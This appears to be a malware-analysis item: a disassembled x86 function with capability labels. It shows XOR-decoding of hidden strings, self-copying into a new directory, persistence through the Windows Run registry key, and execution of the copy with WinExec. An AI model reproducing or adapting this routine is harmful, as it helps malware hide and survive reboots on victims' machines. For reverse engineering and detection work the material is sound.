Function at 0x402f20
Capabilities:
Create directory
Create process on windows
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
sub esp, 0x318
mov eax, dword [0x412008]
xor eax, esp
mov dword [esp + 0x314], eax
push 0x103
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.00406b00
push 0x103
lea ecx, [esp + 0x11d]
push 0
push ecx
mov byte [esp + 0x124], 0
call fcn.00406b00
push 0x103
lea edx, [esp + 0x22d]
push 0
push edx
mov byte [esp + 0x234], 0
call fcn.00406b00
add esp, 0x24
call fcn.00402b90
mov byte [esp + 3], al
xor eax, eax
mov cl, byte [eax + str.___x9:7__9_3x59_]
test cl, cl
je 0x402fa8
cmp cl, 0x56
je 0x402fa8
xor cl, 0x56
mov byte [eax + str.___x9:7__9_3x59_], cl
mov cl, byte [eax + 0x413001]
test cl, cl
je 0x402fc0
cmp cl, 0x56
je 0x402fc0
xor cl, 0x56
mov byte [eax + 0x413001], cl
mov cl, byte [eax + 0x413002]
test cl, cl
je 0x402fd8
cmp cl, 0x56
je 0x402fd8
xor cl, 0x56
mov byte [eax + 0x413002], cl
mov cl, byte [eax + 0x413003]
test cl, cl
je 0x402ff0
cmp cl, 0x56
je 0x402ff0
xor cl, 0x56
mov byte [eax + 0x413003], cl
mov cl, byte [eax + 0x413004]
test cl, cl
je 0x403008
cmp cl, 0x56
je 0x403008
xor cl, 0x56
mov byte [eax + 0x413004], cl
mov cl, byte [eax + 0x413005]
test cl, cl
je 0x403020
cmp cl, 0x56
je 0x403020
xor cl, 0x56
mov byte [eax + 0x413005], cl
add eax, 6
cmp eax, 0x9d8
jl 0x402f90
push 0x104
lea eax, [esp + 0xc]
push eax
push 0x41315e
call dword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsA]
test eax, eax
je 0x4031aa
xor eax, eax
lea ecx, [ecx]
mov cl, byte [esp + eax + 8]
mov byte [esp + eax + 0x210], cl
inc eax
test cl, cl
jne 0x403050
push edi
lea edi, [esp + 0xc]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x403066
mov cx, word [0x410610]
push 0x104
lea edx, [esp + 0x114]
push edx
push 0
mov word [edi], cx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x4031a9
mov eax, 0x4130fa
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4030a0
lea edi, [esp + 0xc]
sub eax, edx
dec edi
mov edi, edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4030b0
push esi
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x114]
lea eax, [esp + 0x10]
pop esi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4030f5
test dl, dl
je 0x4030f1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4030f5
add eax, 2
add ecx, 2
test dl, dl
jne 0x4030d5
xor eax, eax
jmp 0x4030fa
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4031a9
push 0
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x114]
push edx
call fcn.00402e70
add esp, 8
cmp byte [esp + 7], 0
je 0x40313f
lea eax, [esp + 8]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
jmp 0x40314e
lea ecx, [esp + 8]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0xc]
lea edx, [eax + 1]
jmp 0x403160
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403160
sub eax, edx
push eax
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push 1
push 0
push 0x41312c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x4131a0], 0
jne 0x4031a4
push 0
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
call fcn.00403360
pop edi
mov ecx, dword [esp + 0x314]
xor ecx, esp
call fcn.004033e4
add esp, 0x318
ret